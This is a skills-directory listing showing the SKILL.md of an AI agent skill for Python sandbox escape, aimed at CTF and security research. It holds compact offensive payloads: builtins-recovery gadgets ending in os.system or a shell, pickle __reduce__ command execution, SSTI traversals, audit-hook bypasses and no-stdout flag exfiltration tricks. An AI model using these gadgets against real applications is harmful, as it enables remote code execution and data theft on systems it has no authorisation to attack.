Skip to content
Back to skills

Python Exploitation

ASecurity

Use when escaping a Python sandbox or pyjail, bypassing import/builtins/attribute or character/byte blacklists, recovering builtins after __builtins__ is stripped, exploiting pickle/marshal/PyYAML/multiprocessing deserialization, Python-template SSTI (Jinja2/RestrictedPython/str.format), bypassing PEP 578 audit hooks, crafting or abusing CPython bytecode and code objects, exfiltrating with no stdout, or reversing .pyc files. CTF / security-research focused; covers CPython 3.8–3.13.

  • 2 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added September 19, 2026
ai-agentspythongoshellgitapisecurity

Works with

  • api

Security analysis

A100/100

Pro scans all 5 files and shows the line behind each finding

Scanned September 19, 2026

npx -y skills add Lu1sDV/skillsmd --skill python-exploitation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Python Exploitation?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Python Exploitation
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/lu1sdv-python-exploitation/badge)](https://www.skillsdirectory.com/skills/lu1sdv-python-exploitation)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: python-exploitation
description: >-
  Use when escaping a Python sandbox or pyjail, bypassing import/builtins/attribute
  or character/byte blacklists, recovering builtins after __builtins__ is stripped,
  exploiting pickle/marshal/PyYAML/multiprocessing deserialization, Python-template
  SSTI (Jinja2/RestrictedPython/str.format), bypassing PEP 578 audit hooks, crafting
  or abusing CPython bytecode and code objects, exfiltrating with no stdout, or
  reversing .pyc files. CTF / security-research focused; covers CPython 3.8–3.13.
---

# Python Exploitation & Sandbox Escape

## Overview

Offensive Python: breaking out of `eval`/`exec` jails, restricted unpicklers, template sandboxes, and audit-hook cages. Core principle — **a sandbox only removes *names*, never *reachability*.** Almost every escape is: find any live object → walk its attribute/frame graph back to a callable or `__globals__` that still holds the real `__builtins__` → import `os`.

The single most common mistake (yours and other models'): **hardcoding subclass indices like `[104]`.** They drift across version and import order. Always filter by `__name__` / predicate.

## When to Use

- An app runs attacker-influenced code through `eval`, `exec`, `compile`, an AST allowlist, `RestrictedPython`, or a custom pyjail
- You face an import / builtins / attribute / dunder / character / byte / length blacklist
- A deserialization sink: `pickle`, `marshal`, `PyYAML`, `multiprocessing`, `numpy.load`, `fickling`
- Template SSTI in Jinja2 / Mako / `str.format`
- An audit hook (PEP 578) or bytecode-opcode verifier guards the runtime
- Reversing or weaponizing `.pyc` / raw bytecode

**Not for:** defensive sandboxing design (the gotchas inform it, but this is the attacker view), or non-CPython unless noted (`id()`-address and subclass tricks fail on PyPy/Jython).

## Routing

| Situation | Starter gadget | Deep dive |
|---|---|---|
| `__builtins__` emptied | `().__reduce_ex__(2).__globals__['__builtins__']` · `print.__self__` · `(x for x in()).gi_frame.f_builtins` | [pyjail-escape](references/pyjail-escape.md) |
| `()` / parens banned | `@exec`/`@input` decorators · hijack `T.__getitem__=exec; T[code]` | [pyjail-escape](references/pyjail-escape.md) |
| dots banned / limited | `__builtins__=os` then bare `system(...)` · `str.format` bare-word subscripts | [pyjail-escape](references/pyjail-escape.md) |
| digits / quotes banned | `True+True`, `-~x` · chars from `().__doc__[i]` · octal `"\157\163"`=`os` | [pyjail-escape](references/pyjail-escape.md) |
| `_`/dunder/keyword filtered | NFKC look-alikes (math-italic U+1D400, fullwidth `_` U+FF3F) | [pyjail-escape](references/pyjail-escape.md) |
| `co_consts`/`co_names` stripped | use injected call args (`res(vars(), vars)`) · `__code__.replace` | [bytecode-and-internals](references/bytecode-and-internals.md) |
| AST allowlist | `types.CodeType` / `__code__.replace` · `__build_class__` last-builtin | [bytecode-and-internals](references/bytecode-and-internals.md) |
| opcode whitelist (3.11+) | specialized opcodes + CACHE padding (`dis._inline_cache_entries`) | [bytecode-and-internals](references/bytecode-and-internals.md) |
| audit hook (PEP 578) | un-audited sink: `sys.modules['x']=obj_with___del__;exit()`, `readline.read_history_file`, `_posixsubprocess.fork_exec` | [bytecode-and-internals](references/bytecode-and-internals.md) |
| `__import__` banned, stdlib reachable | `catch_warnings()._module.linecache.os` · `os.environ['BROWSER']=cmd;import antigravity` · `license._Printer__filenames=['flag']` | [pyjail-escape](references/pyjail-escape.md) |
| interactive shell reachable | `breakpoint()` / `PYTHONBREAKPOINT=os.system` · `code.interact()` · pdb via `help()`→`sys.modules['pdb']` | [pyjail-escape](references/pyjail-escape.md) |
| arbitrary r/w needed | how2python pure-Python bugs (audit-safe) · `_ctypes.PyObj_FromPtr`/`id()`+ctypes (CPython-only, ASLR brute) | [bytecode-and-internals](references/bytecode-and-internals.md) |
| predict "random" / hashes | `_Py_HashSecret` in_dll · PYTHONHASHSEED LCG · `random.seed(bytes)` reconstruction | [bytecode-and-internals](references/bytecode-and-internals.md) |
| pickle / restricted unpickler | `__reduce__` → `(os.system,(cmd,))` · no-REDUCE `INST`/`OBJ` · `multiprocessing` indirect sink | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
| Jinja2 / RestrictedPython SSTI | filter-fn `__globals__` · `str.format` `{0.__init__.__globals__}` + `e.obj` leak | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
| no stdout / closed streams | `exit(*open('flag'))` · `compile('.','flag','exec')` stderr · ZeroDivisionError oracle | [pyjail-escape](references/pyjail-escape.md) |
| reverse a `.pyc` | `marshal.loads`+`dis` · pycdc/decompile3 · uncompyle6-decompiler RCE | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
| smuggle a crafted `.pyc`/bytecode | `MAGIC_NUMBER+b'\x00'*12+marshal.dumps(code)` → `import x` | [bytecode-and-internals](references/bytecode-and-internals.md) |

## Universal builtins-recovery ladder (try in order, shortest first)

1. `print.__self__` / `abs.__self__` → the `builtins` module (any un-banned builtin works).
2. `().__reduce_ex__(2).__globals__['__builtins__']` (no subclass scan, no index).
3. `(x for x in ()).gi_frame.f_builtins` — frame attr, survives `del __builtins__`; async: `…cr_frame`/`ag_frame`.
4. caught exception → `e.__traceback__.tb_frame.f_builtins` (or `.f_back.f_globals`).
5. subclass walk **by predicate**: `[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system']`.
6. `__builtins__ = os; system('sh')` when dots/attrs are banned but a module is reachable.

## Top gotchas (the knowledge models get wrong)

- **`str.format` traverses `.attr`/`[key]` with no call**, and a *failed* format leaks the last resolved object as `e.obj` (3.10+). Subscripts in fields are **bare words**: `{0.__globals__[sys]}`, not `['sys']`. Hex-escape `\x2e`/`\x5f` in the field dodges `.`/`_` filters.
- **Identifiers are NFKC-normalized (PEP 3131); raw input is not** → fullwidth/math-italic glyphs beat substring blacklists. **String literals are NOT normalized** — only identifiers.
- **Audit hooks can't be removed, but plenty isn't audited**: `sys.modules` insert (→ `__del__` RCE on exit), `pickle`/`yaml` load, plain file reads, and any module imported *before* the hook was installed.
- **`CodeType` positional arity changes per version** (3.8 `+posonlyargcount`, 3.11 `+qualname`/`+exceptiontable`) — use `__code__.replace()` for portability. 3.11+ raw `co_code` needs inline **CACHE padding** or the VM desyncs.
- **`find_class` is pickle's only real hook**; `REDUCE` has no callable-side filter, and `INST`/`OBJ` opcodes call *without* `REDUCE`. `multiprocessing`/`Queue`/`ProcessPoolExecutor` silently pickle args → indirect RCE.
- **3.13 PEP 667**: `f_locals` is now write-through → frame-walking becomes a reliable **write** primitive into a caller's scope.
- **`breakpoint()`/pdb runs even with empty builtins**; `PYTHONBREAKPOINT=os.system` makes any `breakpoint()` an RCE.
- **No-stdout ≠ no-exfil**: `exit(*open('flag'))`, `compile('.','flag','exec')` (filename echoed in `SyntaxError`), `raise Exception(flag)` to stderr, or a `ZeroDivisionError`/`IndexError` char-oracle.

Each reference file lists exact payloads, version notes, and blacklist-bypass variants.

Files in this skill

  • README.md2.7 KB
  • SKILL.md7.3 KB
  • references/bytecode-and-internals.md8.2 KB
  • references/deserialization-and-ssti.md6.6 KB
  • references/pyjail-escape.md10 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.